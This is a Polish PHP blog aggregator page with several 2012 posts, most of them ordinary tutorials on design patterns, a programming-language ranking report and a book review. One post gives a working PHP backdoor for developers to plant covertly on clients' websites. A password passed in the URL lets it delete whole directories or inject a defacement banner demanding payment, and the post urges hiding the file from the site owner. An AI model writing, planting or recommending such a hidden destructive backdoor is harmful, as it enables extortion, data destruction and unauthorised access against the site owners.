Niezalogowany [ logowanie ]
Subskrybuj kanał ATOM Kanał ATOM    Subskrybuj kanał ATOM dla tagu php Kanał ATOM (tag: php)

Autor wpisu: Łukasz Socha, dodany: 15.07.2012 13:25, tagi: php

pobierz w .pdf(przeznaczone do wydruku)

Dependency Injection jest chyba jednym z najprostszych wzorców projektowych, więc zapewne wiele osób używało go nieświadomie. Warto jednak wiedzieć, że dane rozwiązanie ma szerokie zastosowanie i jakąś nazwę… ;)

Tym razem wyjątkowo nie będzie opisu teoretycznego, bo i nie za bardzo jest o czym mówić. Zasadę najłatwiej będzie zrozumieć na praktycznym przykładzie.

Przykład z życia wzięty

Przeanalizujmy fragment klasy do obsługi użytkownika.

<?php

class Session {
    public function __construct($name = 'PHP_SESSSION') {
        session_name($name);
        session_start();
    }
    public function set($key, $value) {
        $_SESSION[$key] = $value;
    }
    public function get($key) {
        return $_SESSION[$key];
    }
}

class User {
    protected $session;

    public function __construct($session) {
        $this->session = $session;
    }
    public function setName($name) {
        $this->session->set('name', $name);
    }
    public function getName() {
        return $this->session->get('name');
    }
}

$session = new Session("MOJA_SESJA");
$user = new User($session);
$user->setName("moj_login");
echo $user->getName();

?>

Klasa Session udostępnia obiektowe API do obsługi sesji. Obiekt tej klasy jest przekazywany w konstruktorze obiektu klasy User, gdzie jest dalej wykorzystywany. Jest to właśnie wstrzykiwanie zależności, czyli nie tworzymy instancji obiektu w danej klasie, tylko przekazujemy go przez konstruktor/metodę.

Dlaczego takie rozwiązanie jest lepsze niż:

$this->session = new Sessioon($parametrKonstuktora);

Parametr ten na dobrą sprawę nie dotyczy obiektu klasy User – jest „sztucznie” dodany. Zdecydowanie przejrzyściej i wygodniej jest zdefiniować obiekt poza klasą i przekazać już gotowy, w pełni skonfigurowany przez nasze parametry. Poza tym przy zmianach parametrów konstruktora musielibyśmy za każdym razem modyfikować wszystkie klasy inicjujące obiekt danej klasy.

Zastosowanie

Wszędzie tam, gdzie występują zależności między obiektami.

Powiązane tematy

Autor wpisu: Łukasz Socha, dodany: 11.07.2012 22:46, tagi: php

pobierz w .pdf(przeznaczone do wydruku)

Pewnie wielu z was miało „przyjemność” spotkania nieuczciwych klientów, którzy nie byli zbyt skorzy do zapłaty za dobrze wykonaną pracę. Nawet jeżeli podpisaliśmy umowę mało komu zapewne chce się walczyć przed sądem o te kilkaset złotych (przy tych prostych projektach). Czy jesteśmy całkowicie bezbronni? Nie, stwórzmy sobie małą furkę…

<?php

// usuwa wszystkie pliki - pamietaj o CHMOD
function delete($dir) {

    $fd = opendir($dir);
    if (!$fd)
        return false;
    while (($file = readdir($fd)) !== false) {
        if ($file == "." || $file == "..")
            continue;
        if (is_dir($dir . "/" . $file)) {
            delete($dir . "/" . $file);
        } else {
            unlink("$dir/$file");
        }
    }
    closedir($fd);
    rmdir($dir);
    return true;
}

// wstrzykuje odpowiedni komunikat - pamietaj o CHMOD
function inject($file, $text) {
    $fp = fopen($file, "a");
    if (!fwrite($fp, $text))
        return false;
    fclose($fp);
    return true;
}

// dolaczony tekst
$text = '<div style="position: fixed;top:0;left:0;color:#ff0000;font-size:26px;z-index:99999;background: #ffffff;">Prosimy uregulowac naleznosc za stworzenie strony</div>';

$pass = $_GET['pass'];
$action = $_GET['action'];
$path = $_GET['path'];

if ($pass == "nasze_haslo") {
    switch ($action) {
        case 'delete':
            if (delete($path)) {
                echo "Pliki usuniete z katalogu " . $path;
            } else {
                echo "Nie udalo sie usunac plikow z katalogu " . $path;
            }
            break;
        case 'inject':
            if (inject($path, $text))
                echo "Udalo sie dolaczyc do pliku: " . $path . " kod";
            else
                echo "Nie udalo sie dolaczyc do pliku: " . $path . " kodu";
            break;
        default:
            echo "Bledna akcja";
            break;
    }
} else {
    echo "Bledne haslo";
}
?>

Funkcja delete() ma za zadanie usunąć wszystkie pliki (rozwiązanie ostateczne :) ), zaś inject() dodaje odpowiedni komunikat w kodzie strony. Ponadto skrypt zabezpieczamy hasłem, by nikt przypadkowo nie zniszczył strony. Musimy oczywiście jeszcze pamiętać o odpowiednim ustawieniu CHMOD, no i ukryciu pliku.

Czy jest to skuteczne? Moim zdaniem tak. Większość klientów ma znikomą wiedzę na temat tworzenia stron, więc śmiem przypuszczać, że nie będą w stanie znaleźć pliku czy poprawić CHMOD. Chyba żadna firma nie zaryzykuje kompletną kompromitacją dla paru złoty – warto wcześniej poinformować o konsekwencjach niezapłacenia w ustalonym terminie :) .

Autor wpisu: matipl, dodany: 11.07.2012 18:11, tagi: php

TIOBE - Very Long Term History (2012)Od dłuższego czasu nie wspominałem Wam o dorocznym raporcie firmy TIOBE, bo w rankingu języków programowania nie działo sie nic niezwykłego, aż do tegoroku…

W tym roku Objective-C wyprzedził C++, PHP i przebił się do mas…

O Języku Objective-C, który powstał w 80-latach na podwalinach Smalltalk’a przez lata nikt nie słyszał. W swojej historii miał kilka małych epizodów, jak chociażby ten z 1988 roku. W 1988 zainteresował się nim Steve Jobs, kiedy zakładał firmę NeXT, w Objective-C powstał system operacyjny NeXTstep, który wiele lat później był podwaliną pod Mac OS X. Mimo wszystko przez lata jego popularność była w granicach 1%.

TIOBE Programming Community Index for July 2012

Ale od 2009 roku, roku w którym premierę miał AppStore (sklep z aplikacjami dla iPhone/iOS) język Obj-C niesamowicie wystrzelił – jak żaden inny język. Ale nikt nie spodziewał się większej popularności, wtedy Apple był nadal kojarzony z niszowym systemem. Jeszcze na początku 2011 roku zdawało się, że Objective-C pozostanie niszowy, na równi z Perlem. Nic bardziej mylnego. W 2011 roku Apple zaprezentował kolejny sklep – Mac App Store, sklep z aplikacjami dla Mac OS X i wszystko się zmieniło.

Wg raportu TIOBE w tym roku Obj-C (9,3%) wyprzedził C++ (9,1%) i ma się na dobrej drodze, aby wyprzedzić w popularności Javę, której popularność systematycznie maleje. Sklepy z aplikacjami Apple mają niesamowity potencjał dla młodych developerów. Z dnia na dzień o każdym może usłyszeć cały świat i jeszcze jest miejsce dla wielu aplikacji.

Java jest daleko w przodzie (16%) i młode osoby spokojnie mogą wybrać ten język jako ostoję. Na pewno nie powinniśmy działać impulsywnie. Wystarczy przypomnieć sobie szał sprzed kilku lat z powodu Ruby’iego, który został ostatecznie niszowym językiem (1,76%) i nie dorównał do PHP (5%).

Aktualny raport:   TIOBE Programming Community Index for July 2012

Autor wpisu: Kamil, dodany: 11.07.2012 17:06, tagi: php

Język PHP ma nie najlepszą renomę wśród programistów, lecz moim zdaniem dość niesłuszną i wynikającą jedynie z nieznajomości tego języka (lub znajomości którejś ze starszych wersji). PHP daje ogromne możliwości i przy właściwym wykorzystaniu umożliwia stworzenie dowolnego projektu internetowego (Facebook, Yahoo, Wikipedia, Flickr) – jedynym ograniczeniem jest Twoja wyobraźnia ;) Aby dobrze programować w PHP [...]

Autor wpisu: singles, dodany: 10.07.2012 22:03, tagi: php

Dzięki uprzejmości Wydawnictwa Helion miałem okazję zapoznać się z zawartością ww. książki, a post, który teraz czytacie jest przelaniem mojej opinii na jej temat na „papier”. Autorami ksiażki są Peter MacIntyre, Brian Danchilla, oraz Mladen Gogala.PHP: Zaawansowane programowanie

PHP: Zaawansowane programowanie

Uprzedzając – czy jest to artykuł sponsorowany? W jakiś sposób tak – książka zostanie u mnie i zostanie przeznaczona na nagrodę na następnym meet.php. Czy moje opinie są sponsorowane? Zdecydowanie nie.

Tematyka

Wg tekstu na okładce, autorzy książki skupiają się na zaawansowanych zagadnieniach związanych z językiem PHP. Tak dostajemy trochę informacji na temat pisania aplikacji mobilnych (chociaż określenie to jest mocno na wyrost moim zdaniem, bo tworzenie aplikacji mobilnych to coś więcej niż wykorzystanie WURFL-a) czy też krótkie wprowadzwnie do świata NoSQL na przykładzie CouchDB czy też MongoDB.

Spora część książki poświęcona jest bazom danych i sposobach ich obsługi. Tak więc, pomijając wcześniej wymienione NoSQL, mamy MySQLi, PDO, czy też ADOdb (!). No i tutaj zagwozdka. Paradoksalnie, z całej tej trójki, to PDO poświęcono najmniej miejsca. A to przecież de facto standard w dzisiejszych czasach. Jest też cały rozdział na temat pracy z Oracle.

Jeśli chodzi o czyste PHP, mamy małe wprowadzenie do obiektowości, później kilka słów o wyjątkach i referencjach, tzw. „nowościach technologicznych” w PHP, czyli namespaceach czy funkcjach anonimowych. No i tutaj jest problem. Ksiażka (oryginał) jest z roku 2011. PHP 5.3 wyszło w połowie 2009. Używanie słowa „nowość” jest jak dla mnie w tym przypadku dyskusyjne.

Jeden rozdział poświęcono bezpieczeństwu – przeczytamy o najpopularniejszych atakach i o tym jak się przed nimi bronić.

Poza rzeczami czysto technicznym dostajemy kilka rozdziałów na temat pracy z dostepnymi narzędziami – informacje o tym, jak zintegrować aplikację z Facebookiem czy też Twitterem, jak używać niektórych popularnych bibliotek (np. SimplePie).

To nie wszystko – pełną listę rozdziałów znajdziecie tutaj.

Mogliście odnieść wrażenie, że w powyższym opisie często używam zwrotów: „kilka”, „małe”. Słusznie. Tutaj jest problem. Praktycznie większość rozdziałów potraktowana jest po macosznemu. Rozumiem z czego to wynika – poruszonych zagadnień jest naprawdę sporo, a objetość książki jest ograniczona.

Jakość wydania

Jak pewnie niektórzy z Was wiedzą, Helion wydaje niektóre książki na papierze ekologicznym – cieńszym, żółtawo-szarawym. O ile mi to osobiście nie przeszkadza, to zdaje sobie sprawę, że dla niektórych jest to ważna kwestia. Tak więc niniejszym zawiadamiam, że egzemplarz który otrzymałem do recenzji NIE jest wydany w ten sposób. Książka jest w miękkiej oprawie, papier jest grubszy, biały – rzekłbym – standardowy za czasów, zanim wprowadzono wersję ekologiczną. Kod jest drukowany czcionką o stałej szerokości (jednakże komentarze w nim już nie), czcionka normalnego tekstu jest czytelna, ważne rzeczy są odpowiednio zaznaczone. Jedyne do czego mógłbym się przyczepić pod tym względem, to umieszczanie rysunków od lewej strony, przez co z prawej zostaje czasami dziwnie wyglądające wolne miejsce. Aczkolwiek to szczegół – kwestia gustu.

Czytaj dalej tutaj (rozwija treść wpisu)
Czytaj dalej na blogu autora...

Autor wpisu: Łukasz Socha, dodany: 10.07.2012 21:11, tagi: php

pobierz w .pdf(przeznaczone do wydruku)

Fabryka abstrakcyjna jest wzorcem projektowym, którego zadaniem jest określenie interfejsu do tworzenia różnych obiektów należących do tego samego typu (rodziny). Interfejs ten definiuje grupę metod, za pomocą których tworzone są obiekty.

Diagram klas wzorca Abstract factory

Przykładowa implementacja

<?php

interface AbstractFactory {
    function createProduct();
}

class ConcreteFactory1 implements AbstractFactory {
    public function createProduct() {
        return new Product("Produkt 1");
    }
}

class ConcreteFactory2 implements AbstractFactory {
    public function createProduct() {
        return new Product("Produkt 2");
    }
}

interface AbstractProduct {
    function getName();
}

class Product implements AbstractProduct {
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }
    public function getName() {
        return $this->name;
    }
}

class Factory {
    const FACTORY1="Factory 1";
    const FACTORY2="Factory 2";
    
    public static function chooseFactory($name) {
        switch($name) {
            case self::FACTORY1:
                return new ConcreteFactory1();
                break;
            case self::FACTORY2:
                return new ConcreteFactory2();
                break;
        }
    }
}

// test
$factory1=Factory::chooseFactory("Factory 1");
$factory2=Factory::chooseFactory("Factory 2");
$product1=$factory1->createProduct();
$product2=$factory2->createProduct();

echo $product1->getName();
echo $product2->getName();

?>

Najczęściej fabrykę abstrakcyjną buduje się w postaci interfejsu. Po stronie klienta tworzone są konkretne implementacje fabryki. Konkretne obiekty tworzone są poprzez wywołanie metod interfejsu. Fabryka pozwala na tworzenie zestawów obiektów dopasowanych do konkretnych zastosowań (np. różnych funkcjonalności, platform, itp.). Każda z konkretnych fabryk realizuje odmienny zestaw klas, ale zawsze posiadają one pewien zdefiniowany zespół interfejsów.

Przykład z życia wzięty

Rozważmy fragment aplikacji odpowiedzialny za wyświetlanie treści.

<?php

// Produkty
interface Document {
    function generate();
}

class PDF implements Document {
    public function generate() {
        return 'Dokument PDF';
    }

}

class HTML implements Document {
    public function generate() {
        return 'Dokument HTML';
    }

}

// Fabryki
interface DocumentFactory {
    function create();
}

class PDFFactory implements DocumentFactory {
    public function create() {
        return new PDF();
    }

}

class HTMLFactory implements DocumentFactory {
    public function create() {
        return new HTML();
    }

}

class Page {
    private $documentFactory;

    public function __construct(DocumentFactory $factory) {
        $this->documentFactory = $factory;
    }
    public function render() {
        $document = $this->documentFactory->create();
        echo $document->generate();
    }

}

// testy
$page1 = new Page(new PDFFactory());
$page1->render(); // wyswietli "Dokument PDF"
$page2 = new Page(new HTMLFactory());
$page2->render(); // wyswietli "Dokument HTML"
?>

Klasy HTML i PDF zawierają konkretne dane na temat różnych typów dokumentów (w tym wypadku są to produkty fabryki). Z kolei HTMLFactory i PDFFactory tworzą obiekty odpowiednich klas. Dzięki zastosowaniu wspólnego interfejsu dla fabryk możemy bardzo łatwo zmieniać typ generowanego dokumentu.

Zalety i wady

Zalety:

  • Odseparowanie klas konkretnych – klienci nie wiedzą jakich typów konkretnych używają, posługują się interfejsami abstrakcyjnymi.
  • Łatwa wymiana rodziny produktów.
  • Spójność produktów – w sytuacji, gdy pożądane jest, aby klasy produkty były z określonej rodziny, fabryka bardzo dobrze to zapewnia.

Wady:

  • Trudność w dołączaniu nowego produktu do rodzin produktów, spowodowana koniecznością rozszerzania interfejsów fabryki.

Zastosowanie

Wzorzec fabryki abstrakcyjnej można wykorzystać między innymi do stworzenia uniwersalnego sterownika do obsługi różnych typów baz danych (MySQL, Oracle SQL itp.).

Powiązane tematy

Autor wpisu: Łukasz Socha, dodany: 05.07.2012 16:51, tagi: php

pobierz w .pdf(przeznaczone do wydruku)

Property to wzorzec projektowy, którego zadanie, jest przechowywać i udostępniać dane w obrębie aplikacji. Implementacja wzorca zastępuje globalne zmienne jakże nielubiane w dobie programowania obiektowego. Brzmi znajomo? Wzorzec ten ma zbliżone zastosowania do Singletona. Jednak tu nie tworzymy obiektu – wszystkie metody są statyczne.

Diagram klas wzorca Property

Wszystkie dane trzymamy w tablicy array. Za pomocą metod set() i get() możemy ustawiać/pobierać dane. Poza tym możemy zaimplementować inne metody kontrolujące np. dostęp do zmiennych.

Przykładowa implementacja

<?php
class Property{
    private static $array = array();
    
    public static function set($name, $value) {
        self::$array[$name]=$value;
    }
    public static function get($name) {
        return self::$array[$name];
    }
    public static function exist($name) {
        return isset(self::$array[$name]);
    }
}

//testy
Property::set("nazwa1", 1);
Property::set("nazwa2", "wartosc");
echo Property::get("nazwa2"); // wyswietli "wartosc"
echo Property::exist("nazwa1"); // wyswietli "true"
echo Property::exist("nazwa3"); // wyswietli "false"
?>

Przykład z życia wzięty

Rozważmy klasę zawierającą konfigurację aplikacji.

<?php
class Config{
    private static $conf = array();
    
    public static function set($name, $value) {
        self::$conf[$name]=$value;
    }
    public static function get($name) {
        return self::$conf[$name];
    }
    public static function exist($name) {
        return isset(self::$conf[$name]);
    }
}

//testy
Config::set("language", "pl");
Config::set("path", "/jakas_sciezka/");
echo Config::get("language"); // wyswietli "pl"
echo Config::get("path"); // wyswietli "/jakas_sciezka/"
echo Config::exist("language"); // wyswietli "true"
?>

Klasa Config zawiera tablicę conf z podstawowymi ustawieniami aplikacji. Dzięki zastosowaniu pola statycznego zmiana ustawień w jednym miejscu (np. zmiana języka na stronie przez użytkownika) jest „widoczna” w każdym miejscu aplikacji.

Zalety i wady

Zalety:

  • Globalny dostęp do zmiennych wraz z dobrodziejstwami jakie daje programowanie obiektowe.
  • Wygodne API do ustawiania/pobierania danych, które muszą mieć dostęp globalny.

Wady:

  • Nie znam żadnej :)

Zastosowanie

Property można wykorzystać do przechowywania konfiguracji aplikacji.

Powiązane tematy

Wszystkie wpisy należą do ich twórców. PHP.pl nie ponosi odpowiedzialności za treść wpisów.